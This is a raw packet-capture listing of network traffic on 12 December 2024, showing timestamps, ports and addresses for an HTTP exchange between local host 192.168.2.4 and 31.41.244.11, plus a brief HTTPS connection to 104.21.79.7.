Dec 12, 2024 14:27:01.401884079 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.401920080 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.401926041 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.401926041 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.401932001 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.401974916 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.401976109 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.403000116 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.403012991 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.403048038 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.403059006 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.403059006 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.403100967 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.403803110 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.403815985 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.403848886 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.403856993 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.403861046 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.403901100 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.403901100 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.403913021 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.403944016 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.403944016 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.404041052 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.404469967 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.404480934 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.404515028 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.404526949 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.404532909 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.404532909 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.404552937 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.404563904 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.404577971 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.404592037 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.404603004 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.404603004 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.404633045 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.404633045 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.405320883 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.405333042 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.405343056 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.405356884 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.405381918 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.405395031 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.405395031 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.405421019 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.405432940 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.405436039 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.405451059 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.405467033 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.405491114 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.405505896 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.405654907 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.406145096 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.406158924 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.406205893 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.406205893 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.406236887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.406249046 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.406260967 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.406272888 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.406296968 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.406310081 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.406320095 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.406321049 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.406321049 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.406321049 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.406336069 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.406372070 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.406372070 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.407002926 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.407053947 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.407100916 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.407118082 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.407130003 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.407141924 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.407144070 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.407154083 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.407166958 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.407177925 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.407180071 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.407180071 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.407190084 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.407202005 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.407249928 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.407249928 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.407249928 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.407949924 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.407963991 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.408061981 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.408070087 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.408086061 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.408097982 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.408111095 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.408123016 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.408134937 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.408147097 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.408150911 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.408150911 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.408160925 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.408189058 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.408226967 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.408912897 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.408926010 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.408948898 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.408967018 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.408986092 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.408986092 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.408998013 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.409010887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.409023046 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.409034967 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.409038067 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.409038067 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.409049034 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.409089088 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.409089088 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.409782887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.409858942 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.435554981 CET	49884	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:01.435574055 CET	443	49884	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:01.436079979 CET	443	49884	104.21.79.7	192.168.2.4
Dec 12, 2024 14:27:01.455003977 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.455018044 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.455146074 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.475778103 CET	49884	443	192.168.2.4	104.21.79.7
Dec 12, 2024 14:27:01.477890015 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.478074074 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.510462046 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.510477066 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.510587931 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.510656118 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.510741949 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.510777950 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.510936022 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.511579037 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.511594057 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.511636019 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.511662960 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.512414932 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.512427092 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.512686968 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.513397932 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.513416052 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.513449907 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.513489008 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.514161110 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.514209032 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.514462948 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.514542103 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.514978886 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.515070915 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.515110970 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.515110970 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.515918970 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.515948057 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.516083002 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.516083002 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.516805887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.516824007 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.516866922 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.516866922 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.517549038 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.517565012 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.517632961 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.517632961 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.518461943 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.518476009 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.518512011 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.518512011 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.519390106 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.519406080 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.519481897 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.519481897 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.520128012 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.520286083 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.520299911 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.520385027 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.520988941 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.521039009 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.521049023 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.521084070 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.521811008 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.522048950 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.522089005 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.522089005 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.522748947 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.522767067 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.522941113 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.523555994 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.523617029 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.523629904 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.523713112 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.524473906 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.524543047 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.524638891 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.524775028 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.525305033 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.525366068 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.525408030 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.525408983 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.526169062 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.526249886 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.526269913 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.526319981 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.526999950 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.527051926 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.527091980 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.527091980 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.527967930 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.527987957 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.528033972 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.528033972 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.528772116 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.528831959 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.528873920 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.528964996 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.529784918 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.529803991 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.529865026 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.529865026 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.530730009 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.530746937 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.530807972 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.530807972 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.531358957 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.531378031 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.531404972 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.531423092 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.532363892 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.532381058 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.532424927 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.532424927 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.533009052 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.533061028 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.533073902 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.533145905 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.534073114 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.534110069 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.534164906 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.534166098 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.534790039 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.534827948 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.535065889 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.535114050 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.535667896 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.535682917 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.535741091 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.535773039 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.536545992 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.536578894 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.537328005 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.537358046 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.537358046 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.537367105 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.537368059 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.537444115 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.538165092 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.538182020 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.538333893 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.539237976 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.539249897 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.539335966 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.539335966 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.539897919 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.539916039 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.539963007 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.539963007 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.540898085 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.541035891 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.541090965 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.541090965 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.541631937 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.541695118 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.541868925 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.541919947 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.542495012 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.542510033 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.542550087 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.542550087 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.543351889 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.543365955 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.543411016 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.543411016 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.544482946 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.544496059 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.544758081 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.544758081 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.545005083 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.545021057 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.545073986 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.545073986 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.545886040 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.545927048 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.546570063 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.546616077 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.546827078 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.546860933 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.546886921 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.546906948 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.547694921 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.547707081 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.547758102 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.547758102 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.548564911 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.548585892 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.548631907 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.548631907 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.549314022 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.549374104 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.549391031 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.549427986 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.550558090 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.550575018 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.550631046 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.550654888 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.551244020 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.551261902 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.551336050 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.551336050 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.551883936 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.551899910 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.551940918 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.551940918 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.553093910 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.553112030 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.553147078 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.553220034 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.554136038 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.554156065 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.554220915 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.554220915 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.554795980 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.554874897 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.554910898 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.554910898 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.555581093 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.555638075 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:27:01.702574015 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:27:01.703090906 CET	80	49878	31.41.244.11	192.168.2.4
